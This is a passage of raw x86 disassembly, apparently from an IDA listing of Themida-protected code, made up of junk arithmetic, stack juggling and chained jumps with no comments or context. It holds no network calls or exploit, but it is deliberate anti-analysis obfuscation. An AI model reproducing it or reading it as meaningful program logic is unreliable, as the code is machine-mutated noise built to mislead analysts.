xor [esp-4+arg_0], ebx jmp loc_5620F5 ; --------------------------------------------------------------------------- loc_567C82: ; CODE XREF: sub_562ABA-22F7j push edx mov edx, 5D773494h sub eax, 5A8D5909h jmp loc_56DFA9 ; --------------------------------------------------------------------------- loc_567C92: ; CODE XREF: sub_562ABA-40A4j push 72C7h mov [esp+1Ah+var_1A], ecx mov ecx, 5FEE27C1h dec ecx shl ecx, 5 add ecx, 4616629Ch mov ebp, ecx pop ecx jmp loc_56F510 ; --------------------------------------------------------------------------- loc_567CB1: ; CODE XREF: sub_562ABA+40FCj mov edx, 27E00D3Dh sub ebx, 2BD717A0h add ebx, edx add ebx, 2BD717A0h jmp loc_5719C5 ; --------------------------------------------------------------------------- loc_567CC9: ; CODE XREF: sub_562ABA-1893j pop esp mov eax, [esp+0] add esp, 4 mov ecx, [esp-4+arg_0] add esp, 4 mov dh, bh mov ebx, [esp-8+arg_4] add esp, 4 push ebx mov ebx, 28h jmp loc_55E513 ; --------------------------------------------------------------------------- loc_567CEC: ; CODE XREF: sub_562ABA-4312j mov [esp+2Ah+var_2C+2], ebp jmp loc_5613C3 ; --------------------------------------------------------------------------- loc_567CF4: ; CODE XREF: sub_562ABA+9DD5j xor eax, edx jmp loc_5674AF ; --------------------------------------------------------------------------- loc_567CFB: ; CODE XREF: sub_562ABA-2368j sub bl, 1Bh push ecx push eax mov eax, 79015B6Bh push ebp jmp loc_56791C ; --------------------------------------------------------------------------- loc_567D0B: ; CODE XREF: sub_562ABA+1919j mov ch, ah pop eax not dh push ebx mov bh, dh mov dh, ch mov ch, bh pop ebx add ch, 71h xor dl, ch mov ecx, [esp+1Ah+var_1A] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+1Eh+var_1E] pop esp sub al, 91h add al, dl jmp loc_5722F8 ; --------------------------------------------------------------------------- loc_567D39: ; CODE XREF: sub_562ABA+473Cj sub esi, eax pop eax add ecx, esi pop esi sub ecx, 4 jmp loc_57157C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb byte ptr [esp+1Ch+var_1E+2], al pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_567D59: ; CODE XREF: sub_562ABA+F9C1j add esi, 7AEC2597h add esi, ebp sub esi, 7AEC2597h jmp loc_562805 ; --------------------------------------------------------------------------- loc_567D6C: ; CODE XREF: sub_562ABA+4A73j not bx jmp loc_56B03E ; --------------------------------------------------------------------------- loc_567D74: ; CODE XREF: sub_562ABA+5D93j add esp, 4 xchg eax, esi neg esi push eax mov eax, 0FFFFFFFFh jmp loc_56C1A8 ; --------------------------------------------------------------------------- loc_567D88: ; CODE XREF: sub_562ABA+2D4Fj mov [esp+26h+var_28+2], ebx mov ebx, 2200753Ah xor ebx, 250011AEh shr ebx, 7 jmp loc_56F7EC ; --------------------------------------------------------------------------- loc_567D9E: ; CODE XREF: sub_562ABA+17FDj sub esp, 4 mov [esp+12h+var_12], eax push edx mov dh, 0E2h mov al, 94h add al, 0D6h add al, dh sub al, 0D6h pop edx push cx push edx mov dl, 4Eh neg dl sub dl, 70h xor dl, 26h mov cl, dl jmp loc_570514 ; --------------------------------------------------------------------------- loc_567DC4: ; CODE XREF: sub_562ABA+7C17j add bl, 82h mov edx, [esp+18h+var_1A+2] sub esp, 4 jmp loc_56DD3F ; --------------------------------------------------------------------------- loc_567DD2: ; CODE XREF: sub_562ABA+A193j pop edx push ebx mov ebx, 1D7606CBh inc ebx add ebx, 4EFB4E7Bh shl ebx, 6 jmp loc_56AB92 ; --------------------------------------------------------------------------- loc_567DE8: ; CODE XREF: sub_562ABA+AF30j shl ecx, 2 or ecx, 0DDE6ECCh shl ecx, 7 jmp loc_57149A ; --------------------------------------------------------------------------- loc_567DF9: ; CODE XREF: sub_562ABA+4D32j mov esp, [esp+3Ah+var_3A] mov [esp+3Ah+var_3A], ecx push esp pop ecx push ebp jmp loc_567E9C ; --------------------------------------------------------------------------- loc_567E07: ; CODE XREF: sub_562ABA-1BAEj pop eax shr esi, 2 jmp loc_56E791 ; --------------------------------------------------------------------------- loc_567E10: ; CODE XREF: sub_562ABA+614Fj add edi, 220458B5h jmp loc_565FC3 ; --------------------------------------------------------------------------- loc_567E1B: ; CODE XREF: sub_562ABA+AF1Bj sub eax, 3BB44353h push edi push 3C01CCDh pop edi jmp loc_560905 ; --------------------------------------------------------------------------- loc_567E2C: ; CODE XREF: sub_562ABA+3E5Fj sub ecx, 82A722F7h add edx, ecx jmp loc_568B96 ; --------------------------------------------------------------------------- loc_567E39: ; CODE XREF: sub_562ABA-1ADAj sub edi, 7FFFC3A9h add esi, edi pop edi push 6A6Ch mov [esp+12h+var_12], ecx push edx mov edx, 538567DBh xor edx, 257867CEh add edx, 90272691h mov ecx, edx pop edx push ebp jmp loc_571FEA ; --------------------------------------------------------------------------- loc_567E65: ; CODE XREF: sub_562ABA+6CFEj sub edx, 7F0C5541h jmp loc_56F1EF ; --------------------------------------------------------------------------- lodsb jmp loc_56D842 ; --------------------------------------------------------------------------- loc_567E76: ; CODE XREF: sub_562ABA+F390j push 32ECh mov [esp+1Ah+var_1A], ebx jmp loc_567064 ; --------------------------------------------------------------------------- push [esp+1Ah+var_1A] pop eax push edx push esp pop edx jmp loc_56C990 ; --------------------------------------------------------------------------- loc_567E8F: ; CODE XREF: sub_562ABA+BA11j push esp pop ebx add ebx, 4 jmp loc_55F1CE ; --------------------------------------------------------------------------- loc_567E9C: ; CODE XREF: sub_562ABA+5348j push edi mov edi, 1DC31E3Dh push edx mov edx, 28664C9Bh add edi, edx pop edx shl edi, 6 dec edi add edi, 92126C7Ch mov ebp, edi pop edi jmp loc_566247 ; --------------------------------------------------------------------------- loc_567EBD: ; CODE XREF: sub_562ABA+3A13j mov [esp-0Ah+arg_4+2], ecx mov ecx, esp push ebx jmp loc_566558 ; --------------------------------------------------------------------------- loc_567EC8: ; CODE XREF: sub_562ABA+DD49j pop ebp add edx, ecx pop ecx push edx push [esp-0Ah+arg_8+2] push [esp-6+arg_0+2] jmp loc_5709A6 ; --------------------------------------------------------------------------- loc_567ED9: ; CODE XREF: sub_562ABA-1DFEj sub edx, 1A2452D6h jmp loc_55EBB4 ; --------------------------------------------------------------------------- loc_567EE4: ; CODE XREF: sub_562ABA+5A2Fj add [esp-6+arg_4+2], eax sub [esp-6+arg_4+2], 69480D57h push eax mov eax, 4D2C4462h sub [esp-2+arg_4+2], eax pop eax sub [esp-6+arg_4+2], 3C0627D4h pop eax jmp loc_560F3A ; --------------------------------------------------------------------------- loc_567F09: ; CODE XREF: sub_562ABA+A032j add ebx, 264821D0h pop esi sub edi, ebx push [esp-0Eh+arg_8+2] pop ebx push 46AAh jmp loc_563DC5 ; --------------------------------------------------------------------------- loc_567F20: ; CODE XREF: sub_562ABA+44DDj push edi push ecx push edx mov edx, 2AAD4D36h mov ecx, edx jmp loc_56834F ; --------------------------------------------------------------------------- loc_567F2F: ; CODE XREF: sub_562ABA-4965j sub eax, 77F9393Bh add eax, 34CE4805h jmp sub_560BA1 ; --------------------------------------------------------------------------- loc_567F3E: ; CODE XREF: sub_562ABA+B6DCj or ecx, esi jmp loc_569814 ; --------------------------------------------------------------------------- loc_567F45: ; CODE XREF: sub_562ABA+BE2Cj sub ch, 8Ah push eax mov ah, ch jmp loc_5711F9 ; --------------------------------------------------------------------------- loc_567F50: ; CODE XREF: sub_562ABA+DDFDj push edi push 4 pop edi sub ebx, 740A1434h add ebx, 782A5A86h add ebx, edi sub ebx, 782A5A86h add ebx, 740A1434h mov edi, [esp+6+var_8+2] push ebp mov ebp, esp add ebp, 4 jmp loc_562DD7 ; --------------------------------------------------------------------------- loc_567F82: ; CODE XREF: sub_562ABA+CA8Fj mov esp, [esp+0Ah+var_C+2] rol [esp+0Ah+var_C+2], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_567F8E: ; CODE XREF: sub_562ABA+B832j mov edi, 0E8831CBh jmp loc_5698CE ; --------------------------------------------------------------------------- loc_567F98: ; CODE XREF: sub_562ABA+9D91j add esp, 4 xor edi, 605B1D85h sub edi, 5AB709F1h jmp loc_56E95C ; --------------------------------------------------------------------------- loc_567FAC: ; CODE XREF: sub_562ABA+3E17j mov [esp+32h+var_32], esi sub esp, 4 mov [esp+36h+var_36], esp push ebx mov ebx, 4 add [esp+3Ah+var_36], ebx jmp loc_5639D7 ; --------------------------------------------------------------------------- loc_567FC4: ; CODE XREF: sub_562ABA+4C48j sub esp, 4 jmp loc_566DA3 ; --------------------------------------------------------------------------- loc_567FCF: ; CODE XREF: sub_562ABA+E5A7j sub edi, 29E84ACBh xor edi, 67F70CF2h jmp loc_55FD62 ; --------------------------------------------------------------------------- loc_567FE0: ; CODE XREF: sub_562ABA+EFA7j push eax sub esp, 4 mov [esp+4Ah+var_4A], esp push ebx mov ebx, 4 add [esp+4Eh+var_4A], ebx pop ebx pop eax jmp loc_5719A2 ; --------------------------------------------------------------------------- loc_567FFB: ; CODE XREF: sub_562ABA+A9FEj push edx sub esp, 4 mov [esp+4Eh+var_4E], edi push edx mov edx, 78D92C6Ch mov edi, edx mov edx, [esp+52h+var_52] add esp, 4 dec edi add edi, 0A6DEFBF1h jmp loc_56549D ; --------------------------------------------------------------------------- loc_568022: ; CODE XREF: sub_562ABA-2EB3j xor [esp+0], ecx xor ecx, [esp+0] pop esp push eax push [esp+0Eh+var_C+2] mov eax, [esp+12h+var_12] jmp loc_56E6EB ; --------------------------------------------------------------------------- loc_568036: ; CODE XREF: sub_562ABA+2411j pop edx jmp loc_569EBF ; --------------------------------------------------------------------------- loc_56803C: ; CODE XREF: sub_562ABA+76D5j sub edx, ebp add edx, 7B65306Fh mov ebp, [esp+4Ah+var_4A] add esp, 4 mov eax, [esp+46h+var_46] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4Ah+var_4A] pop esp jmp loc_56C364 ; --------------------------------------------------------------------------- loc_568065: ; CODE XREF: sub_562ABA-49EBj mov edx, 3B1B2332h mov esi, edx jmp loc_56359F ; --------------------------------------------------------------------------- push [esp+0Ah+var_C+2] mov eax, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], edi push esp push [esp+12h+var_12] pop edi add esp, 4 push 3838h mov [esp+12h+var_12], ebp push 4C0Dh mov [esp+16h+var_16], edx push 40365BFCh mov edx, [esp+1Ah+var_1A] add esp, 4 sub edx, 57861E9Eh inc edx jmp sub_5720B7 ; --------------------------------------------------------------------------- loc_5680B2: ; CODE XREF: sub_562ABA-89Bj add eax, 4 add eax, 4 xchg eax, [esp+1Ch+var_1E+2] pop esp push 30EEh mov [esp+1Ch+var_1E+2], ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_562B9A ; --------------------------------------------------------------------------- loc_5680D5: ; CODE XREF: Themida_:005620F0j push edi push 0F311D3h pop edi shr edi, 1 xor edi, 7115FD8Ch mov edx, edi pop edi mov ebp, 239D26FAh and ebp, 260A0C82h inc ebp inc ebp jmp loc_5729D7 ; --------------------------------------------------------------------------- loc_5680F9: ; CODE XREF: sub_562ABA+ACD3j shl ebp, 3 or ebp, 3C06524Eh xor ebp, 0E447B531h add ebx, ebp pop ebp sub ebx, edx sub esp, 4 mov [esp+18h+var_1A+2], edi mov edi, 33943DC1h push edi sub esp, 4 jmp loc_56B56E ; --------------------------------------------------------------------------- loc_568124: ; CODE XREF: sub_562ABA+E266j pop cx jmp loc_568A3B ; --------------------------------------------------------------------------- loc_56812B: ; CODE XREF: sub_562ABA+E4A1j pop [esp+1Eh+var_1E] mov esp, [esp+1Ah+var_1A] mov word ptr [esp+1Ah+var_1A], ax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56813A: ; CODE XREF: sub_562ABA+6F02j neg ecx shl ecx, 3 not ecx or ecx, 4FC60A14h add ecx, 0A020D0A0h mov ebx, ecx pop ecx add edx, ebx jmp loc_568462 ; --------------------------------------------------------------------------- loc_568157: ; CODE XREF: sub_562ABA+F237j add esi, 74A36632h mov ecx, [esp+16h+var_16] jmp loc_57295A ; --------------------------------------------------------------------------- loc_568165: ; CODE XREF: sub_562ABA+4627j pop [esp+42h+var_42] mov esp, [esp+3Eh+var_3E] jmp loc_5641D4 ; --------------------------------------------------------------------------- loc_568170: ; CODE XREF: sub_562ABA+B1BBj add esi, edi jmp loc_55F28E ; --------------------------------------------------------------------------- loc_568177: ; CODE XREF: sub_562ABA+70Ej add ebx, 743164C8h xor ebx, 60CB345Ch jmp loc_56E4D0 ; --------------------------------------------------------------------------- loc_568188: ; CODE XREF: sub_562ABA+ED1Fj mov [esp-4+arg_0], esp add [esp-4+arg_0], 4 pop ebp jmp loc_570B56 ; --------------------------------------------------------------------------- loc_568198: ; CODE XREF: sub_562ABA+CF7Aj mov edi, 611C1C3Bh shr edi, 7 dec edi shr edi, 5 and edi, 55935DE9h and edi, 44D43933h jmp loc_570DB5 ; --------------------------------------------------------------------------- loc_5681B5: ; CODE XREF: sub_562ABA+EADEj sub ecx, 29E41F4Ch jmp loc_56EE75 ; --------------------------------------------------------------------------- loc_5681C0: ; CODE XREF: sub_562ABA+9E61j pop eax add esp, 4 jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5681CC: ; CODE XREF: sub_562ABA+5E25j push ebx mov bh, 39h push edx mov dh, 0 jmp loc_56D79A ; --------------------------------------------------------------------------- loc_5681D7: ; CODE XREF: sub_562ABA-3040j pop ebx and ecx, eax jmp loc_568A61 ; --------------------------------------------------------------------------- loc_5681DF: ; CODE XREF: sub_5611D3+16j add edx, 0B6F3FF30h mov eax, edx pop edx add eax, ebp pop ebp add ebp, 24381F86h add ebp, 1C745137h add ebp, eax sub ebp, 1C745137h jmp loc_571005 ; --------------------------------------------------------------------------- loc_568204: ; CODE XREF: sub_562ABA+1FE5j push edx mov edx, 19BB5F1Ch shl edx, 1 or edx, 0EC64336h or edx, 2CB5414Eh xor edx, 28526D50h sub edx, 1C2739C7h jmp loc_569ACD ; --------------------------------------------------------------------------- loc_568229: ; CODE XREF: sub_562ABA-4370j push [esp+22h+var_22] pop ecx add esp, 4 add ecx, 4 push 1B4Ah mov [esp+22h+var_22], edx mov edx, 22AB136Fh or edx, 285C12D0h shr edx, 3 dec edx push ecx mov ecx, 19B516F6h add ecx, 43BA5731h jmp loc_56576A ; --------------------------------------------------------------------------- mov ax, word ptr [esp+26h+var_28+2] push edi mov edi, esp push eax jmp loc_56F0CE ; --------------------------------------------------------------------------- loc_56826E: ; CODE XREF: sub_562ABA+E44Ej pop edi add edx, 14002470h add edx, eax jmp loc_55FD0C ; --------------------------------------------------------------------------- loc_56827C: ; CODE XREF: sub_562ABA+1ADAj and ebx, edx pop edx add ebx, 30DD2B2Fh push edx mov edx, 1A4F343Fh push 0 sub [esp+36h+var_36], edx pop edx dec edx shr edx, 7 jmp loc_565D52 ; --------------------------------------------------------------------------- loc_56829D: ; CODE XREF: sub_561832+33j mov [esp+32h+var_32], ebx push ecx mov cl, 56h xor cl, 39h inc cl xor cl, 0ABh jmp loc_5623C4 ; --------------------------------------------------------------------------- loc_5682B0: ; CODE XREF: sub_562ABA+7194j mov [esp+36h+var_36], edi mov edi, 24386915h mov ebx, 0DA4C68A1h sub ebx, edi pop edi sub edi, ebx mov ebx, [esp+32h+var_32] add esp, 4 jmp loc_5709AC ; --------------------------------------------------------------------------- neg word ptr [esp+0] pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5682D7: ; CODE XREF: sub_562ABA+3510j push dword ptr [esp+0] jmp loc_56A875 ; --------------------------------------------------------------------------- loc_5682DF: ; CODE XREF: sub_562ABA+D6FDj pop edi push dword ptr [esp+0] push [esp+12h+var_12] jmp loc_569B7E ; --------------------------------------------------------------------------- loc_5682EB: ; CODE XREF: sub_562ABA+83E7j mov [esp+16h+var_16], esp push eax jmp loc_561056 ; --------------------------------------------------------------------------- loc_5682F4: ; CODE XREF: sub_562ABA+2DE4j or edx, 532365E3h xor edx, 38EE6992h and edx, 44521D9h jmp loc_55F972 ; --------------------------------------------------------------------------- loc_56830B: ; CODE XREF: sub_562ABA+ECC2j push ebp mov ebp, 4 sub eax, ebp pop ebp xchg eax, [esp+3Ah+var_3A] pop esp mov [esp+36h+var_36], eax mov eax, 1FA71359h mov esi, eax pop eax jmp loc_55E3A3 ; --------------------------------------------------------------------------- loc_568328: ; CODE XREF: sub_562ABA+4E94j sub [esp+0Ah+var_C+2], ecx pop ecx push edx jmp loc_569421 ; --------------------------------------------------------------------------- loc_568332: ; CODE XREF: sub_562ABA+FA6Aj push ebp push 5386h jmp loc_5633C3 ; --------------------------------------------------------------------------- loc_56833D: ; CODE XREF: sub_562ABA+BDA4j inc eax jmp loc_566270 ; --------------------------------------------------------------------------- loc_568343: ; CODE XREF: sub_562ABA+3396j push ebx push bp mov bp, 0B30h jmp loc_567352 ; --------------------------------------------------------------------------- loc_56834F: ; CODE XREF: sub_562ABA+5470j pop edx jmp loc_566F61 ; --------------------------------------------------------------------------- loc_568355: ; CODE XREF: sub_562ABA+9A09j mov edx, [esp+1Eh+var_1E] add esp, 4 add [esp+1Ah+var_16], edi mov edi, [esp+1Ah+var_1A] push 3F5Ch mov [esp+1Eh+var_1E], ecx mov ecx, esp add ecx, 4 push eax jmp loc_5673E7 ; --------------------------------------------------------------------------- loc_568378: ; CODE XREF: sub_562ABA-3E0Ej push dword ptr [edi+eax*4] push edx mov edx, 2E143B61h jmp loc_566C1B ; --------------------------------------------------------------------------- loc_568386: ; CODE XREF: sub_562ABA+E6B9j sub edi, eax jmp loc_55FB94 ; --------------------------------------------------------------------------- loc_56838D: ; CODE XREF: sub_562ABA+DB16j mov [esp+26h+var_28+2], ebx sub esp, 4 mov [esp+2Ah+var_2C+2], eax jmp loc_560BBF ; --------------------------------------------------------------------------- loc_56839E: ; CODE XREF: sub_562ABA+9A45j add ebp, 4 xor ebp, [esp+2Ah+var_2C+2] xor [esp+2Ah+var_2C+2], ebp xor ebp, [esp+2Ah+var_2C+2] jmp loc_56E537 ; --------------------------------------------------------------------------- loc_5683AF: ; CODE XREF: sub_562ABA-312Aj add ecx, 1 sub ecx, 0CB978BA3h sub edx, 7C16597Dh sub edx, 640F7B9Eh jmp loc_562E5C ; --------------------------------------------------------------------------- loc_5683C9: ; CODE XREF: sub_562ABA+64BFj add ecx, 4 push 30F3h mov [esp+0], ebx mov ebx, 2 sub ecx, 257C7695h jmp loc_570975 ; --------------------------------------------------------------------------- loc_5683E7: ; CODE XREF: sub_562ABA+3107j inc edx add edx, 0FE17B20Fh sub edi, edx mov edx, [esp+18h+var_1A+2] add esp, 4 xchg edi, [esp+14h+var_16+2] jmp loc_56853D ; --------------------------------------------------------------------------- loc_568401: ; CODE XREF: sub_562ABA+2FD4j xor eax, edx pop edx mov ebx, 3E0B6F03h add ebx, 33AE6F0Fh sub ebx, eax jmp loc_56EC73 ; --------------------------------------------------------------------------- loc_568416: ; CODE XREF: sub_562ABA+E42Aj xor ebp, 63D71B7Ch jmp loc_5679A0 ; --------------------------------------------------------------------------- loc_568421: ; CODE XREF: sub_562ABA+C65Ej pop eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-0Ah+arg_4+2] pop esp jmp loc_565445 ; --------------------------------------------------------------------------- loc_56843A: ; CODE XREF: sub_562ABA+6726j add ecx, eax add ecx, 70E7102Eh push [esp-0Eh+arg_8+2] jmp loc_569C37 ; --------------------------------------------------------------------------- loc_56844A: ; CODE XREF: sub_562ABA+E932j add eax, 3B3914D8h add eax, 273EF3B8h or edx, eax pop eax sub edx, 7EFF7F5Bh jmp loc_5726CC ; --------------------------------------------------------------------------- loc_568462: ; CODE XREF: sub_562ABA+5698j pop ebx sub esp, 4 mov [esp+16h+var_16], ecx mov ecx, 47F960E2h shl ecx, 1 jmp loc_5607F5 ; --------------------------------------------------------------------------- loc_568475: ; CODE XREF: sub_562ABA+5FA2j shr dh, 7 not dh inc dh push ebx mov bl, 0AEh xor bl, 1Dh jmp loc_566DB9 ; --------------------------------------------------------------------------- loc_568487: ; CODE XREF: sub_562ABA+FC45j pop ecx xchg edi, [esp+16h+var_16] pop esp jmp loc_55F958 ; --------------------------------------------------------------------------- loc_568491: ; CODE XREF: sub_562ABA+4138j mov [esp+3Eh+var_3E], ebp mov ebp, esp push edx jmp loc_566023 ; --------------------------------------------------------------------------- loc_56849C: ; CODE XREF: sub_562ABA+9D7Dj add esp, 4 xor edi, [esp+3Eh+var_3E] jmp loc_56F811 ; --------------------------------------------------------------------------- lodsb push edx jmp loc_56D90B ; --------------------------------------------------------------------------- loc_5684B1: ; CODE XREF: sub_562ABA+DC50j mov ecx, edi pop edi shl ecx, 4 xor ecx, 565F00A3h shl ecx, 7 shl ecx, 1 xor ecx, 807B2889h mov eax, ecx pop ecx add dword ptr [esp+0Ch], 47F9574Eh sub [esp+0Ch], eax sub dword ptr [esp+0Ch], 47F9574Eh pop eax pop eax add dword ptr [esp+4], 69480D57h jmp loc_567EE4 ; --------------------------------------------------------------------------- loc_5684EE: ; CODE XREF: sub_562ABA+ECF7j mov [esp+32h+var_32], ebx mov ebx, 5C601EEDh dec ebx push eax mov eax, 5A34196Dh sub eax, 99809398h add ebx, eax pop eax sub edx, ebx jmp loc_57024D ; --------------------------------------------------------------------------- loc_56850C: ; CODE XREF: sub_562ABA+79CAj mov edi, esp jmp loc_56F277 ; --------------------------------------------------------------------------- loc_568513: ; CODE XREF: sub_562ABA+364Cj mov edi, 498A083Bh not edi push ecx push edx push eax mov eax, 23A97C46h mov edx, eax jmp loc_5671FB ; --------------------------------------------------------------------------- loc_568529: ; CODE XREF: sub_562ABA+DDDBj mov ecx, [esp+3Ch+var_3E+2] add esp, 4 sub ebp, 4 xchg ebp, [esp+38h+var_3A+2] jmp loc_568685 ; --------------------------------------------------------------------------- loc_56853D: ; CODE XREF: sub_562ABA+5942j pop esp mov [esp+10h+var_12+2], ebp jmp loc_562BA4 ; --------------------------------------------------------------------------- loc_568546: ; CODE XREF: sub_562ABA+12A7j mov [esp+0], ebp mov ebp, 15C46E44h or edi, ebp pop ebp jmp loc_565743 ; --------------------------------------------------------------------------- loc_568556: ; CODE XREF: sub_562ABA+2C52j sub ecx, 691E7FE4h jmp loc_5616D3 ; --------------------------------------------------------------------------- loc_568561: ; CODE XREF: sub_562ABA+29j mov cl, 7Bh dec cl neg cl push 24BCh mov [esp+32h+var_32], eax mov ah, 0DEh inc ah or ah, 0F1h sub ah, 13h xor ah, 0B1h xor ah, 0E9h inc ah sub ah, 31h not ah add ah, 23h and cl, ah push [esp+32h+var_32] pop eax jmp loc_567828 ; --------------------------------------------------------------------------- loc_568594: ; CODE XREF: sub_562ABA+68E5j pop esp mov [esp+0], dx push 11F2h mov [esp+32h+var_32], ecx push ebx jmp loc_562F4E ; --------------------------------------------------------------------------- loc_5685A7: ; CODE XREF: sub_562ABA+19C5j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5685AC: ; CODE XREF: sub_562ABA+140j add ebx, 49B668F4h xor ebx, 47D9E00Ch jmp loc_566631 ; --------------------------------------------------------------------------- loc_5685BD: ; CODE XREF: sub_562ABA-4426j mov edx, esi pop esi mov ecx, [esp+16h+var_16] add esp, 4 jmp loc_5699AA ; --------------------------------------------------------------------------- loc_5685CB: ; CODE XREF: sub_562ABA+1168j push 2265h mov [esp+32h+var_32], esi mov esi, 1CC92FC8h and esi, 0B7E5E60h sub esi, 314A56C2h neg esi xor esi, 7E2A6592h sub esi, 57282D0Ch add ecx, esi mov esi, [esp+32h+var_32] add esp, 4 xchg ecx, [esp+0] pop esp jmp loc_560EB0 ; --------------------------------------------------------------------------- loc_568606: ; CODE XREF: sub_562ABA+EEA0j sub ecx, 792F4A8Dh jmp loc_566003 ; --------------------------------------------------------------------------- loc_568611: ; CODE XREF: sub_55FCA5+2586j push ebx jmp loc_56A4E8 ; --------------------------------------------------------------------------- loc_568617: ; CODE XREF: sub_562ABA+1C4Dj add edi, 4 push ecx mov ecx, 4 add edi, ecx pop ecx jmp loc_55FC52 ; --------------------------------------------------------------------------- loc_56862B: ; CODE XREF: sub_562ABA+A01j push edx mov edx, 6DF70A2h jmp loc_55E64E ; --------------------------------------------------------------------------- loc_568636: ; CODE XREF: sub_562ABA+AEFDj add ebx, esi pop esi xor edx, ebx mov ebx, [esp+0Ch+var_C] jmp loc_570736 ; --------------------------------------------------------------------------- loc_568643: ; CODE XREF: sub_55FCA5:loc_55FFFFj add [esp+0Ch+var_8], eax jmp loc_56C448 ; --------------------------------------------------------------------------- loc_56864C: ; CODE XREF: sub_562ABA+99B5j add bl, dl sub esp, 4 mov [esp+10h+var_12+2], ecx jmp loc_56DCD7 ; --------------------------------------------------------------------------- loc_56865C: ; CODE XREF: sub_562ABA-1883j push eax mov ah, 0E6h not ah sub ah, 0FFh sub ah, 41h sub dl, ah pop eax push ecx mov ch, 7 jmp loc_56237F ; --------------------------------------------------------------------------- loc_568672: ; CODE XREF: sub_562ABA+7BE3j sub esp, 4 jmp loc_56C2FD ; --------------------------------------------------------------------------- loc_56867D: ; CODE XREF: sub_562ABA-3C2Fj pop ecx shl edx, 1 jmp loc_56889F ; --------------------------------------------------------------------------- loc_568685: ; CODE XREF: sub_562ABA+5A7Ej pop esp mov [esp+34h+var_36+2], ebx mov ebx, 449725B5h push 0BB68DA4Ch jmp loc_568CF1 ; --------------------------------------------------------------------------- loc_568698: ; CODE XREF: sub_562ABA+AD22j push ebp push 676C70E3h pop ebp xor ebp, 1894692Fh jmp loc_56195D ; --------------------------------------------------------------------------- loc_5686AA: ; CODE XREF: sub_562ABA+72F9j push 4CEBh mov [esp+40h+var_42+2], esi mov esi, 4 jmp loc_55FAC0 ; --------------------------------------------------------------------------- loc_5686BC: ; CODE XREF: sub_562ABA-3A01j add esp, 4 add [esp+2Ah+var_2C+2], eax push ebx mov ebx, 23DA7555h sub [esp+2Eh+var_2C+2], ebx pop ebx jmp loc_569A64 ; --------------------------------------------------------------------------- loc_5686D2: ; CODE XREF: sub_562ABA+F96Bj pop esi add edi, 4 jmp loc_56C2A7 ; --------------------------------------------------------------------------- loc_5686DE: ; CODE XREF: sub_562ABA-17C3j mov eax, esp jmp loc_56EF02 ; --------------------------------------------------------------------------- loc_5686E5: ; CODE XREF: Themida_:00572A82j mov esi, [esp+2+var_4+2] add esp, 4 push edx sub esp, 4 jmp loc_55F9B1 ; --------------------------------------------------------------------------- loc_5686F7: ; CODE XREF: sub_562ABA-24E7j push esi mov esi, 7E496DA5h inc esi jmp loc_565116 ; --------------------------------------------------------------------------- loc_568703: ; CODE XREF: sub_562ABA+F0D8j add ebx, edx pop edx sub esp, 4 mov [esp+1Eh+var_1E], edx push esi jmp loc_564BB8 ; --------------------------------------------------------------------------- loc_568712: ; CODE XREF: sub_562ABA-11F0j add ebp, 12E435A8h shl ebp, 5 add ebp, 0A2E86104h push ebp jmp loc_567593 ; --------------------------------------------------------------------------- loc_568727: ; CODE XREF: sub_562ABA+7A62j xor esi, 1A2FF39h jmp loc_56AD6F ; --------------------------------------------------------------------------- loc_568732: ; CODE XREF: sub_562ABA+E11Dj add esp, 4 sub edi, 79225280h sub edi, 335E5BD8h add edi, 50DA6511h add edi, ebp jmp loc_568EDB ; --------------------------------------------------------------------------- loc_56874E: ; CODE XREF: sub_562ABA-1ACj add ch, bh pop ebx neg ch push ax mov al, dl mov dl, ch mov ch, al pop ax not dl xchg dl, ch push edx push eax push ecx jmp loc_562C44 ; --------------------------------------------------------------------------- loc_568769: ; CODE XREF: sub_562ABA+6F2Bj push esp pop ecx add ecx, 4 push edx mov edx, 4 jmp loc_565D3B ; --------------------------------------------------------------------------- loc_56877C: ; CODE XREF: sub_562ABA+9744j xor esi, [esp+3Eh+var_3E] pop esp jmp loc_5712C1 ; --------------------------------------------------------------------------- loc_568785: ; CODE XREF: sub_562ABA-740j pop esi push ebx mov ebx, 4 add edi, ebx pop ebx jmp loc_56CC7C ; --------------------------------------------------------------------------- loc_568794: ; CODE XREF: sub_562ABA+265Fj neg esi shr esi, 1 jmp loc_56F2AF ; --------------------------------------------------------------------------- loc_56879D: ; CODE XREF: sub_562ABA+77D7j push 0D581B65h jmp loc_561AD1 ; --------------------------------------------------------------------------- loc_5687A7: ; CODE XREF: sub_562ABA+F5D4j mov [esp+36h+var_36], esi mov esi, 5C783654h jmp loc_56F263 ; --------------------------------------------------------------------------- loc_5687B4: ; CODE XREF: sub_562ABA+3531j mov ebp, edx jmp loc_56B143 ; --------------------------------------------------------------------------- loc_5687BB: ; CODE XREF: sub_562ABA+D9C2j add edx, esi pop esi add edx, 204D3784h add edx, ecx sub edx, 204D3784h sub edx, 6DF131C8h mov ecx, [esp+0] push ebp sub esp, 4 jmp loc_5700A8 ; --------------------------------------------------------------------------- loc_5687DE: ; CODE XREF: sub_562ABA+CE86j or dl, al jmp loc_55F607 ; --------------------------------------------------------------------------- loc_5687E5: ; CODE XREF: sub_562ABA+193j pop eax sub dl, 8Dh add ch, dl mov edx, [esp-12h+arg_C+2] jmp loc_561178 ; --------------------------------------------------------------------------- loc_5687F3: ; CODE XREF: sub_562ABA+E01Bj mov ebp, 3896CFAh push edx mov edx, 54F12A78h inc edx jmp loc_563120 ; --------------------------------------------------------------------------- loc_568804: ; CODE XREF: sub_562ABA-723j xor [esp+1Eh+var_1E], esi xor esi, [esp+1Eh+var_1E] pop esp loc_56880B: ; CODE XREF: sub_562ABA+6FF8j ; sub_562ABA+DC60j push 276h mov [esp+1Eh+var_1E], ebx jmp loc_570632 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+1Eh+var_1E] jmp loc_567431 ; --------------------------------------------------------------------------- loc_568821: ; CODE XREF: sub_562ABA+807Cj pop ecx push 6F5Eh mov 